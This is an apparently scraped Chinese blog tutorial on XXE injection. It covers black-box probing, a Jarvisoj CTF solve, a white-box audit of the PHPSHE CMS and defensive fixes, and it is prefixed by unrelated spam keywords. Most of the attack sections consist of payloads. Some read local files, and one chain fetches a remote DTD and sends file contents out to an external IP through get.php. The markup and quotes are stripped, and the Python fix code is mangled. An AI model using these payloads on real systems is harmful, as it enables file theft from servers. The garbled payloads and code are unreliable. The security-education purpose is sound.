在线查询网站收录,代做论文的网站有哪些好的,网页设计实训报告5000字,中国工程建设质量管理协会网站#知识点#xff1a;
1、XMLXXE-原理发现利用修复等
2、XMLXXE-黑盒模式下的发现与利用
3、XMLXXE-白盒模式下的审计与利用
4、XMLXXE-无回显伪协议产生层面
#思路点#xff1a;
参考#xff1a;https://www.cnblo…#知识点
1、XMLXXE-原理发现利用修复等
2、XMLXXE-黑盒模式下的发现与利用
3、XMLXXE-白盒模式下的审计与利用
4、XMLXXE-无回显伪协议产生层面
#思路点
参考https://www.cnblogs.com/20175211lyz/p/11413335.html -XXE 黑盒发现
1、获取得到 Content-Type 或数据类型为 xml 时尝试进行 xml 语言 payload 进行测试
2、不管获取的 Content-Type 类型或数据传输类型均可尝试修改后提交测试 xxe
3、XXE 不仅在数据传输上可能存在漏洞同样在文件上传引用插件解析或预览也会造成
文件中的 XXE Payload 被执行 -XXE 白盒发现 ——针对于xml的相关函数搜索会增加查找XXE漏洞
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等 #详细点
XML 被设计为传输和存储数据XML 文档结构包括 XML 声明、DTD 文档类型定义可
选、文档元素其焦点是数据的内容其把数据从 HTML 分离是独立于软件和硬件的
信息传输工具。
XXE 漏洞全称 XML External Entity Injection即 xml 外部实体注入漏洞XXE 漏洞发生在应用程序解析 XML 输入时没有禁止外部实体的加载导致可加载恶意外部文件造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异
XML 被设计为传输和存储数据其焦点是数据的内容。
HTML 被设计用来显示数据其焦点是数据的外观。
HTML 旨在显示信息 而 XML 旨在传输信息。 XXE 修复防御方案
-方案 1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferenc
es(false);
Python
From lxml.import etreexmlData
Etree.parse(xmlSource.etree.XMLParser(resolve_entitlesFalse)) 方案2-过滤用户提交的XML数据 过滤关键词!DOCTYPE和!ENTITY或者SYSTEM和PUBLIC Ø XMLXXE-黑盒-原理探针利用玩法等
Ø XMLXXE-前端-CTFJarvisoj探针利用
Ø XMLXXE-白盒-CMSPHPSHE无回显审计 #XMLXXE-黑盒-原理探针利用玩法等 辨别xml和html的数据包
Xmlphp_xxe Html 对xml进行分析
通过数据包进行白盒分析 doLogin.php 分析loadXML函数 同时也能判断出此网页会对解析后的代码进行回显那此时如果我们对其加入恶意代码让其进行执行那可以实现
1、读取文件
?xml version1.0?
!DOCTYPE Mikasa [
!ENTITY test SYSTEM file:///d:/e.txt
]
userusernametest;/usernamepasswordMikasa/password/use
r 读取到本地D盘e.txt的文件内容
1.1、带外测试
指内部服务器能通过某漏洞将数据外带到外部域名中 DNSLog Platform ?xml version1.0 ?
!DOCTYPE test [
!ENTITY % file SYSTEM http://9v57ll.dnslog.cn
%file;
]
userusernamesend;/usernamepasswordMikasa/password/use
r 收到了内部的IP情况 因此可以从到无回显的网页中排去无回显的其他原因代码写错、网络问题、没有漏洞等情况当工具网页中出现了来自内部的iP则说明XXE漏洞存在只是不回显数据
2.外部引用实体有回显 dtd
利用远程地址让远程地址中的文件evil2.dtd 执行恶意代码
解决了数据拦截防护过滤的问题 ?xml version1.0 ?
!DOCTYPE test [
!ENTITY % file SYSTEM http://127.0.0.1:8081/evil2.dtd
%file;
]
userusernamesend;/usernamepasswordMikasa/password/use
r evil2.dtd
!ENTITY send SYSTEM file:///d:/e.txt 3.无回显读文件
将读取到的文件信息保存到指定地址中并让本地接收的文件写入get.php对读取的文件信息进行收集保存到本地file.txt
Payload:
?xml version1.0?
!DOCTYPE ANY[
!ENTITY % file SYSTEM file:///d:/e.txt
!ENTITY % remote SYSTEM http://47.94.236.117/test.dtd
%remote;
%all;
]
rootsend;/root test.dtd
!ENTITY % all !ENTITY send SYSTEM
http://47.94.236.117/get.php?file%file; Get.php 4、其他玩法协议-见参考地址 #XMLXXE-前端-CTFJarvisoj探针利用 http://web.jarvisoj.com:9882/ 通过数据包分析它是以json形式 但是我们通过查看源代码得知关键的信息 可以得知它其实是做了二次处理的将第一次的数据为xml然后进行json处理
所以输入payload并修改type值将json改为xml
?xml version1.0?
!DOCTYPE ANY [
!ENTITY test SYSTEM file:///home/ctf/flag.txt
]
xtest;/x #XMLXXE-白盒-CMSPHPSHE无回显审计 -XXE 白盒发现 ——针对于xml的相关函数搜索会增加查找XXE漏洞
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等 simplexml_load_string 内容确定得知此函数是在一个函数里面所以我们要去看看谁调用了这个函数
pe_getxmlpe_getxml 同理继续看谁调用函数wechat_getxml 找到了notify_url.php对其进行网页安全测试 Payload
?xml version1.0?
!DOCTYPE ANY [
!ENTITY test SYSTEM file:///d:/1.txt
]
xtest;/x
发现没有回显出数据来 所以用外带来进行确认漏洞是否存在 出现ip回显则说明确实存在XXE
所以直接判定为无回显的XXE漏洞 分析代码输出的地方没有设计到变量所以没有数据是合理的 那就远程读取文件将文件进行保存再用get.php进行读取存入file.txt文件获取相关内容